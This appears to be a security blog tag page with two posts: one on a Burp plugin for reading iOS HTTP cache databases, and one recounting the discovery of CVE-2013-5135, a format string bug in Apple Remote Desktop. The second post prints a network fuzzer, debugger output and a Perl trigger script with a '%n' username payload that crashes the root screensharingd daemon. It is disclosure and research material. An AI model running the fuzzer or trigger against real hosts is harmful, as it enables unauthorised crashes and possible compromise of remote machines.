Tag Archives: apple

iOS HTTP cache analysis for abusing APIs and forensics

We’ve tested a number of iOS apps in the last few years, and got to the conclusion that most developers follow the recommendation to use APIs already in the system – instead of reinventing the wheel or unnecessarily depending on third party libraries. This affects HTTP backend APIs as well, and quite a few apps use the built-in NSURLRequest class to handle HTTP requests.

However, this results in a disk cache being created, with a similar structure to the one Safari uses. And if the server doesn’t set the appropriate Cache-Control headers this can result in sensitive information being stored in a plaintext database.

Like others in the field of smartphone app security testing, we’ve also discovered such databases within the sandbox and included it in the report as an issue. However, it can also be helpful for further analysis involving the API and for forensic purposes. Still, there were no ready to use tools, which is problematic in such a convoluted format.

The cache can usually be found in Library/Caches/[id]/Cache.db where [id] is application-specific, and is a standard SQLite 3 database, as it can be seen below.

$ sqlite3 Cache.db
SQLite version 3.12.1 2016-04-08 15:09:49
Enter ".help" for usage hints.
sqlite> .tables
cfurl_cache_blob_data       cfurl_cache_response
cfurl_cache_receiver_data   cfurl_cache_schema_version

Within these tables, all the information can be found that can be used to reconstruct the requests issued by the app along with the responses. (Well, almost; in practice, the lack of HTTP version and status text is not a big problem.)

Since we use Burp Suite for HTTP-related projects (web applications and SOAP/REST APIs), an obvious solution was to develop a Burp plugin that could read such a database and present the requests and responses within Burp for analysis and using it in other modules such as Repeater, Intruder or Scanner.

As the database is an SQLite one, the quest began with choosing a JDBC driver that supports it; SQLiteJDBC seemed to be a good choice, however it uses precompiled binaries for some platforms, which limits its compatibility. After the first few tests it also became apparent that quite a few parts of JDBC is not implemented, including the handling of BLOBs (raw byte arrays, optimal choice for storing complex structures not designed for direct human consumption). The quick workaround was to use HEX(foo) which results in a hexadecimal string of the blob foo, and then parsing it in the client.

BLOBs were used for almost all purposes; request and response bodies were stored verbatim (although without HTTP Content Encoding applied, see later), while request and response metadata like headers and the HTTP verb used were serialized into binary property lists, a format common on Apple systems. For the latter, we needed to find a parser, which was made harder by the fact that most solutions (be it code or forum responses) expected the XML-based representation (which is trivial to handle in any language) while in this case the more compact binary form was used. Although there are utilities to convert between these two (plutil, plistutil and others), I didn’t want to add an external command line dependencies and spawn several processes for every request.

Fortunately, I found a project called Quaqua that had a class for parsing the binary format. Although it also tried converting the object tree to the XML format, a bit of modification fixed this as well.

With these in place, I could easily convert the metadata to HTTP headers, and append the appropriate bodies (if present). For UI, I got inspiration from Logger++ but used a much simpler list for enumerating the requests, since I wanted a working prototype first. (Pull requests regarding this are welcome!)

Most of the work was solving small quirks, for example as I mentioned, HTTP Content Encoding (such as gzip) was stripped before saving the body, however the headers referred to the encoded payload, so both the Content-Length and the Content-Encoding headers needed to be removed, and former had to be filled based on the decoded (“unencoded”) body.

Below is a screenshot of the plugin in action, some values had been masked to protect the innocent.

screenshot of the plugin

The source code is available on GitHub under MIT license, with pre-built JAR binaries downloadable from the releases page.

Featured image is Apfelteiler by Frank C. Müller licensed under CC BY-SA

How did I find the Apple Remote Desktop bug? – CVE-2013-5135

Inspired by the Windows Remote Dektop bug (CVE-2012-0002) I created a simple  network protocol fuzzer. This is a dumb fuzzer that only changes every single byte value from 0 to 255:

import socket
import time
import struct
import string
import sys
init1 = (
"Sniffed network connection part 1"
init2 = (
"Sniffed network connection part 2"
init3= (
"Sniffed network connection part 3"
act = init3
print len(act)
for i in range(int(sys.argv[1]),len(act)):
	for j in range(0,256):
	        	hexa = string.atol(str(j))
        		buffer = struct.pack('<B',hexa)
			x = act[:i]+buffer+act[(i+len(buffer)):]
			s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			connect=s.connect(('',5900)) # hardcoded IP address
			print str(i) + " " + str(j)
			s.send(init1) # send the data
			data = s.recv(1024)
			s.send(init2) # send the data
			data = s.recv(1024)
			s.send(x) # send the data
			data = s.recv(1024)
			j = j - 1

This approach may look especially dumb, since the Apple VNC protocol is encrypted and the changes made by the fuzzer on the bytes of the ciphertext would result in a disaster in the decrypted plaintext, but eventually this technique led to the discovery of the vulnerability. I ran this fuzzer and watched the log and the Crashreporter files. The /var/log/secure.log file contained the following lines:

Jan 14 14:52:14 computer screensharingd[26350]: Authentication: FAILED :: User Name: m?>H?iYiH3`'??

 The /Library/Log/DiagnosticsReports/ directory also contained a lot of crash files. This meant two things: I found some interesting bug right now and the screensharingd runs with root permissions (the directory above is for the crash files of the privileged processes). The Crashwrangler said this is an unexploitable crash but I don't trust this tool blindly ;)

Let's look at the crash in the debugger:

bash-3.2# while true;do for i in $( ps aux | grep -i screensharingd | grep -v grep | awk '{print $2}');do gdb --pid=$i;done;done<br />
GNU gdb 6.3.50-20050815 (Apple version gdb-1822) (Sun Aug  5 03:00:42 UTC 2012)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin".No symbol table is loaded.  Use the "file" command.
/Users/depth/.gdbinit:2: Error in sourced command file:
No breakpoint number 1.
/Users/depth/30632: No such file or directory
Attaching to process 30632.
Reading symbols for shared libraries . done
Reading symbols for shared libraries .......................................................................................................................................... done
Reading symbols for shared libraries + done
0x00007fff89e8e67a in mach_msg_trap ()
(gdb) set follow-fork-mode child 
(gdb) c
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x0000000000000002
[Switching to process 30632 thread 0x2b03]
0x00007fff8e2a0321 in __vfprintf ()
(gdb) i reg
rax            0x2	2
rbx            0x10778ba5c	4420319836
rcx            0x37	55
rdx            0x10778a810	4420315152
rsi            0x7f9a22b00000	140299983650816
rdi            0x106926400	4405224448
rbp            0x10778aa40	0x10778aa40
rsp            0x10778a610	0x10778a610
r8             0x106926400	4405224448
r9             0x62	98
r10            0x1224892248900008	1307320572183576584
r11            0x10778aaa8	4420315816
r12            0xb	11
r13            0x38	56
r14            0x0	0
r15            0x6e	110
rip            0x7fff8e2a0321	0x7fff8e2a0321 <__vfprintf+3262>
eflags         0x10246	66118
cs             0x2b	43
ss             0x0	0
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) x/s $rbx
0x10778ba5c:	 " :: Viewer Address: :: Type: DH"

This is very interresting. I assumed "*printf" error meant a common buffer overflow or a format string attack. Let's see the problematic function:

(gdb) bt
#0  0x00007fff8e2a0321 in __vfprintf ()
#1  0x00007fff8e2ea270 in vasprintf_l ()
#2  0x00007fff8e2d9429 in asl_vlog ()
#3  0x00007fff8e27f7d4 in vsyslog ()
#4  0x00007fff8e27f879 in syslog () # Vulnerability here!
#5  0x00000001075484df in _mh_execute_header ()
#6  0x0000000107521892 in _mh_execute_header ()
#7  0x0000000107532657 in _mh_execute_header ()
#8  0x000000010752d7c1 in _mh_execute_header ()
#9  0x00007fff87c46ce6 in PrivateMPEntryPoint ()
#10 0x00007fff8e2ab8bf in _pthread_start ()
#11 0x00007fff8e2aeb75 in thread_start ()

I fired up IDA Pro and looked for the invalid authentication chain of the screensharingd binary. First I searched for the "FAILED" keyword in order to find the subroutine of interest:


But it turns out that he "Authentication FAILED" string leads us to the interesting part of code:


This string is referenced by the sub_1000322a8 function:


I followed the cross reference to the "Authentication : FAILED" string:


Yes, here is the critical part of the binary (DH authentication is the current one based on the secure.log file):


The subroutine creates the syslog message properly with format strings but before calling the syslog() function it does not sanitize the username field and the attacker can perform a format string attack. The easiest way to check this assumption is to try to authenticate using the RDP client:


And check the secure.log file:


 Great! :) This is a format string vulnerability in Apple Remote Desktop protocol. I spent a few days to investigate the vulnerability and write a working exploit with no success. The problems are:

  • null bytes in the memory addresses (64 bit architecture)
  • relative small buffer space (~2*64 bytes)
  • non executable stack

If you have any ideas on the exploitation of the issue, do not hesitate share them with me! To help you get started I wrote a simple trigger script:

# For ARD (Apple Remote Desktop) authentication you must also specify a username. 
# You must also install Crypt::GCrypt::MPI and Crypt::Random
# CVE: CVE-2013-5135
# Software: Apple Remote Desktop
# Vulnerable version: < 3.7
use Net::VNC;
$target = "";
$password = "B"x64; #max 64
$a = "A"x32; # max 64
$payload = $a."%28\$n"; # CrashWrangler output-> is_exploitable=yes:instruction_disassembly=mov    %ecx,(%rax):instruction_address=0x00007fff8e2a0321:access_type=write
print "Apple VNC Server @ $target\n";
print "Check the /var/log/secure.log file ;) \n";
$vnc = Net::VNC->new({hostname => $target, username => $payload, password => $password});

This was the whole story of CVE-2013-5135 from the beginning of 2013. Every bug hunting approach may be good way, so try something different than everybody else. Happy bug hunting!